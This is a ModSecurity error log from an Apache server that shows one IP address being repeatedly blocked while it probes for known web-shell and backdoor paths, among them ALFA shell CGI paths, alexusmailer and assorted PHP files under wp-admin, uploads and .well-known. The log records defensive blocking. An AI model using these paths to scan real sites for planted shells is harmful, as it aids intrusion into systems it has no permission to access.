[Sun Apr 12 05:02:32.080783 2026] [:error] [pid 25327:tid 25359] [client 20.220.11.224:29588] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ohayo.php"] [unique_id "adq26C6h2tZEVJo9JFI7iQAAABc"]
[Sun Apr 12 05:02:35.011166 2026] [:error] [pid 26600:tid 26641] [client 20.220.11.224:29589] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ohayo.php"] [unique_id "adq26-1YwAZiXhQKLYpq9AAAAYw"]
[Sun Apr 12 05:02:38.867687 2026] [:error] [pid 25327:tid 25352] [client 20.220.11.224:29668] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ohayo.php"] [unique_id "adq27i6h2tZEVJo9JFI7kQAAABA"]
[Sun Apr 12 05:02:42.507714 2026] [:error] [pid 26599:tid 26618] [client 20.220.11.224:29692] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ohayo.php"] [unique_id "adq28nG89LXoQbk_rwAvIAAAAVA"]
[Sun Apr 12 05:02:43.047332 2026] [:error] [pid 26599:tid 26614] [client 20.220.11.224:29563] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin.php"] [unique_id "adq283G89LXoQbk_rwAvIQAAAUw"]
[Sun Apr 12 05:02:45.436334 2026] [:error] [pid 25327:tid 25356] [client 20.220.11.224:29655] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin.php"] [unique_id "adq29S6h2tZEVJo9JFI7mAAAABQ"]
[Sun Apr 12 05:02:48.358304 2026] [:error] [pid 26600:tid 26651] [client 20.220.11.224:29633] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin.php"] [unique_id "adq2-O1YwAZiXhQKLYprDQAAAZY"]
[Sun Apr 12 05:02:55.897667 2026] [:error] [pid 25327:tid 25340] [client 20.220.11.224:29678] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin.php"] [unique_id "adq2_y6h2tZEVJo9JFI7ngAAAAQ"]
[Sun Apr 12 05:02:58.351263 2026] [:error] [pid 25328:tid 25372] [client 20.220.11.224:29653] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms.php"] [unique_id "adq3AsxUaQZxT-e0YsDK0wAAAEc"]
[Sun Apr 12 05:03:16.248896 2026] [:error] [pid 26567:tid 26588] [client 20.220.11.224:29674] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/olu.php"] [unique_id "adq3FHhRpg6ptWFyFx3v5wAAARM"]
[Sun Apr 12 05:03:20.942442 2026] [:error] [pid 26600:tid 26649] [client 20.220.11.224:29590] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/olu.php"] [unique_id "adq3GO1YwAZiXhQKLYprRgAAAZQ"]
[Sun Apr 12 05:03:23.241818 2026] [:error] [pid 26600:tid 26629] [client 20.220.11.224:29671] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/olu.php"] [unique_id "adq3G-1YwAZiXhQKLYprTQAAAYA"]
[Sun Apr 12 05:03:28.235859 2026] [:error] [pid 25329:tid 25413] [client 20.220.11.224:29625] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/olu.php"] [unique_id "adq3IGdcIYsS8Iyaj10nTQAAAJY"]
[Sun Apr 12 05:03:30.036595 2026] [:error] [pid 25328:tid 25365] [client 20.220.11.224:29693] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "adq3IsxUaQZxT-e0YsDK_AAAAEE"]
[Sun Apr 12 05:03:32.104300 2026] [:error] [pid 26599:tid 26624] [client 20.220.11.224:29682] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "adq3JHG89LXoQbk_rwAvPAAAAVY"]
[Sun Apr 12 05:03:36.701121 2026] [:error] [pid 25329:tid 25378] [client 20.220.11.224:29581] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "adq3KGdcIYsS8Iyaj10nVwAAAII"]
[Sun Apr 12 05:03:38.878419 2026] [:error] [pid 26600:tid 26632] [client 20.220.11.224:29658] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "adq3Ku1YwAZiXhQKLYprhwAAAYM"]
[Sun Apr 12 05:03:40.772581 2026] [:error] [pid 26567:tid 26591] [client 20.220.11.224:29446] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "adq3LHhRpg6ptWFyFx3v_gAAARY"]
[Sun Apr 12 05:03:45.864049 2026] [:error] [pid 25328:tid 25377] [client 20.220.11.224:29580] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "adq3McxUaQZxT-e0YsDLJAAAAEo"]
[Sun Apr 12 05:03:49.414063 2026] [:error] [pid 26600:tid 26637] [client 20.220.11.224:29510] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "adq3Ne1YwAZiXhQKLYprmgAAAYg"]
[Sun Apr 12 05:03:51.928522 2026] [:error] [pid 25328:tid 25385] [client 20.220.11.224:29583] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "adq3N8xUaQZxT-e0YsDLKwAAAE4"]
[Sun Apr 12 05:03:54.201129 2026] [:error] [pid 26599:tid 26616] [client 20.220.11.224:29634] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "adq3OnG89LXoQbk_rwAvUgAAAU4"]
[Sun Apr 12 05:03:57.203797 2026] [:error] [pid 25328:tid 25366] [client 20.220.11.224:29573] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "adq3PcxUaQZxT-e0YsDLOQAAAEI"]
[Sun Apr 12 05:04:01.120539 2026] [:error] [pid 26600:tid 26644] [client 20.220.11.224:29694] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "adq3Qe1YwAZiXhQKLYprvgAAAY8"]
[Sun Apr 12 05:04:04.703013 2026] [:error] [pid 26600:tid 26648] [client 20.220.11.224:29661] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "adq3RO1YwAZiXhQKLYpr0gAAAZM"]
[Sun Apr 12 05:04:09.163721 2026] [:error] [pid 25437:tid 25455] [client 20.220.11.224:29656] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad/about.php"] [unique_id "adq3SXf97wYZje1ep_NJtQAAANA"]
[Sun Apr 12 05:04:10.406823 2026] [:error] [pid 25328:tid 25391] [client 20.220.11.224:29515] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad/about.php"] [unique_id "adq3SsxUaQZxT-e0YsDLYgAAAFE"]
[Sun Apr 12 05:04:13.443738 2026] [:error] [pid 25437:tid 25448] [client 20.220.11.224:29568] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad/about.php"] [unique_id "adq3TXf97wYZje1ep_NJvwAAAMk"]
[Sun Apr 12 05:04:21.246915 2026] [:error] [pid 26600:tid 26634] [client 20.220.11.224:29613] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/about.php"] [unique_id "adq3Ve1YwAZiXhQKLYpr7wAAAYU"]
[Sun Apr 12 05:04:23.852688 2026] [:error] [pid 26567:tid 26585] [client 20.220.11.224:29651] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/about.php"] [unique_id "adq3V3hRpg6ptWFyFx3wKAAAARA"]
[Sun Apr 12 05:04:31.059553 2026] [:error] [pid 26600:tid 26633] [client 20.220.11.224:29618] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/about.php"] [unique_id "adq3X-1YwAZiXhQKLYpsBAAAAYQ"]
[Sun Apr 12 05:04:44.404033 2026] [:error] [pid 60280:tid 60283] [client 20.220.11.224:29689] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "adq3bHBlLnDOYuIykkjRdQAAAcE"]
[Sun Apr 12 05:04:45.917409 2026] [:error] [pid 26600:tid 26631] [client 20.220.11.224:29527] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "adq3be1YwAZiXhQKLYpsMAAAAYI"]
[Sun Apr 12 05:04:46.725228 2026] [:error] [pid 26599:tid 26602] [client 20.220.11.224:29570] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "adq3bnG89LXoQbk_rwAv1QAAAUA"]
[Sun Apr 12 05:04:49.482786 2026] [:error] [pid 26600:tid 26640] [client 20.220.11.224:29690] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "adq3ce1YwAZiXhQKLYpsPQAAAYs"]
[Sun Apr 12 05:04:51.055630 2026] [:error] [pid 25328:tid 25370] [client 20.220.11.224:29652] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alexusmailer%202.0.php"] [unique_id "adq3c8xUaQZxT-e0YsDLsgAAAEY"]
[Sun Apr 12 05:04:58.666479 2026] [:error] [pid 25328:tid 25408] [client 20.220.11.224:29579] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alexusmailer%202.0.php"] [unique_id "adq3esxUaQZxT-e0YsDLygAAAFg"]
[Sun Apr 12 05:05:03.899385 2026] [:error] [pid 25328:tid 25394] [client 20.220.11.224:29463] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alexusmailer%202.0.php"] [unique_id "adq3f8xUaQZxT-e0YsDL6QAAAFI"]
[Sun Apr 12 05:05:11.755560 2026] [:error] [pid 25327:tid 25336] [client 20.220.11.224:29541] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rss.php"] [unique_id "adq3hy6h2tZEVJo9JFI75gAAAAA"]
[Sun Apr 12 05:05:16.804309 2026] [:error] [pid 25437:tid 25444] [client 20.220.11.224:29657] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rss.php"] [unique_id "adq3jHf97wYZje1ep_NKGgAAAMU"]
[Sun Apr 12 05:05:19.024751 2026] [:error] [pid 25327:tid 25350] [client 20.220.11.224:29621] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rss.php"] [unique_id "adq3jy6h2tZEVJo9JFI76QAAAA4"]
[Sun Apr 12 05:05:31.383882 2026] [:error] [pid 25327:tid 25341] [client 20.220.11.224:29629] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "adq3my6h2tZEVJo9JFI7_AAAAAU"]
[Sun Apr 12 05:05:35.766158 2026] [:error] [pid 25328:tid 25391] [client 20.220.11.224:29638] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "adq3n8xUaQZxT-e0YsDMdAAAAFE"]
[Sun Apr 12 05:05:45.545189 2026] [:error] [pid 26599:tid 26622] [client 20.220.11.224:29676] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "adq3qXG89LXoQbk_rwAv8gAAAVQ"]
[Sun Apr 12 05:05:51.888692 2026] [:error] [pid 26567:tid 26584] [client 20.220.11.224:29646] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tmp_images/alfacgiapi/perl.alfa"] [unique_id "adq3r3hRpg6ptWFyFx3wiAAAAQ8"]
[Sun Apr 12 05:06:01.879648 2026] [:error] [pid 26567:tid 26576] [client 20.220.11.224:29597] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tmp_images/alfacgiapi/perl.alfa"] [unique_id "adq3uXhRpg6ptWFyFx3wsQAAAQc"]
[Sun Apr 12 05:06:09.156221 2026] [:error] [pid 25329:tid 25386] [client 20.220.11.224:29574] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/alfacgiapi/perl.alfa"] [unique_id "adq3wWdcIYsS8Iyaj10n0QAAAIY"]
[Sun Apr 12 05:06:12.408977 2026] [:error] [pid 26567:tid 26583] [client 20.220.11.224:29650] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/alfacgiapi/perl.alfa"] [unique_id "adq3xHhRpg6ptWFyFx3wyAAAAQ4"]
[Sun Apr 12 05:06:14.693540 2026] [:error] [pid 25328:tid 25379] [client 20.220.11.224:29596] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/alfacgiapi/perl.alfa"] [unique_id "adq3xsxUaQZxT-e0YsDMoAAAAEs"]
[Sun Apr 12 05:06:26.356445 2026] [:error] [pid 25437:tid 25441] [client 20.220.11.224:29586] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/alfacgiapi/perl.alfa"] [unique_id "adq30nf97wYZje1ep_NKdgAAAMI"]
[Sun Apr 12 05:06:27.753379 2026] [:error] [pid 60280:tid 60291] [client 20.220.11.224:29514] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/alfacgiapi/perl.alfa"] [unique_id "adq303BlLnDOYuIykkjRtQAAAck"]
[Sun Apr 12 05:06:29.786590 2026] [:error] [pid 25437:tid 25458] [client 20.220.11.224:29677] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/alfacgiapi/perl.alfa"] [unique_id "adq31Xf97wYZje1ep_NKewAAANM"]
[Sun Apr 12 05:06:39.928760 2026] [:error] [pid 25437:tid 25452] [client 20.220.11.224:29578] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/date.php"] [unique_id "adq333f97wYZje1ep_NKjQAAAM0"]
[Sun Apr 12 05:06:42.869822 2026] [:error] [pid 26600:tid 26639] [client 20.220.11.224:29663] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/date.php"] [unique_id "adq34u1YwAZiXhQKLYps8QAAAYo"]
[Sun Apr 12 05:06:45.614124 2026] [:error] [pid 26599:tid 26609] [client 20.220.11.224:29616] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/date.php"] [unique_id "adq35XG89LXoQbk_rwAwGAAAAUc"]
